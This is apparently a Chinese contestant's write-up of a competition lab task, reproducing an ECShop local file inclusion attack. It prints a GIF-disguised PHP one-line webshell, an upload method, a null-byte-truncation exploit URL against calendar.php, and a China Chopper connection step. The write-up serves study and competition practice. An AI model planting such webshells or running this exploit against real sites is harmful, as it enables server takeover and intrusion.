全国职业院校技能大赛神州数码DCN杯信息安全管理与评估赛项 第二阶段文件包含漏洞解析
参加了这次信息安全管理与评估赛项,第二阶段文件包含漏洞没有做出来,表示好菜 ~ ~
现在来复现一下这个漏洞

题目描述

1.针对服务器场景2上传一句话木马,使用文件包含将URL中有关文件包含的目录、网页、参数字符串作为参数,通过MD5函数运算后返回的哈希值的十六进制结果作为Flag值提交(形式:十六进制字符串)

2.在服务器场景2的磁盘 C:\Windows 下找到ABC_04.py文件,将其上传到攻击机虚拟机1中,根据文件内注释要求的功能完善脚本,在完善脚本代码中,将FLAG01对应需要完善的内容字符串作为参数,通过MD5函数运算后,返回的哈希值的十六进制结果作为Flag值提交(形式:十六进制字符串)

提示:该环境存在上传、包含、截断漏洞(js目录下的calendar.php,该文件lang参数存在包含漏洞)

其实这题考的是一个CMS漏洞,可惜我没有做出来。(ECShop 本地文件包含漏洞)

普通的文件包含漏洞方法是不可行的,必须使用截断漏洞。

环境介绍:

php5.2.17

allow_url_fopen = On

allow_url_include = On

magic_quotes_gpc = Off

漏洞代码分析

7.png

第16行代码,接受GET请求的数据后,没有进行过滤。

第26行代码,使用 include_once 函数将 $lang 这个变量也一并包含,那么肯定存在文件包含漏洞。

但是这个漏洞必须要有截断漏洞才行,php的版本必须为php5.2以下版本才有截断漏洞。

文件上传

首先,我们在首页注册随便注册一个用户登录之后,在用户中心 -> 我的留言这个模块去上传一句话木马文件。

1.png

然后我们写一个一句话木马文件,文件内容:

1
2
3
4
GIF89a
<?php
eval($_POST['x']);
?>

文件后缀为 1.gif

这个 1.gif 是一句话木马文件,使用的是GIF89a头的GIF文件欺骗,使其能够上传后不被改文件后缀。

2.png

文件上传成功后,我们可以看到我们上传的文件名整个路径。

文件包含

4.png

这个时候,我们访问这个payload http://192.168.0.7/js/calendar.php?lang=../data/feedbackimg/1_20190621kmknqs.gif%00.php

这里我们要使用 %00 截断漏洞,才可以将文件包含进来

注意:如果要执行php代码,一定要加 .php

发现爆了一个php代码错误,这个是 calendar.php 文件报错的,不用管。

Getshell

5.png

我们这个时候用中国菜刀连接一下,配置如上图所示。

6.png

已经连接成功了,并且找到了我们要找的 C:\Windows 这个路径下的 ABC_04.py

总结

其实现在复现完了之后,感觉还是比较简单的,因为在比赛当时比较紧张,又有各种原因,没有做出来,真的很可惜。

而且在之前,我也没了解过文件包含的截断漏洞。

还是要继续加油 努力呀 ~ ~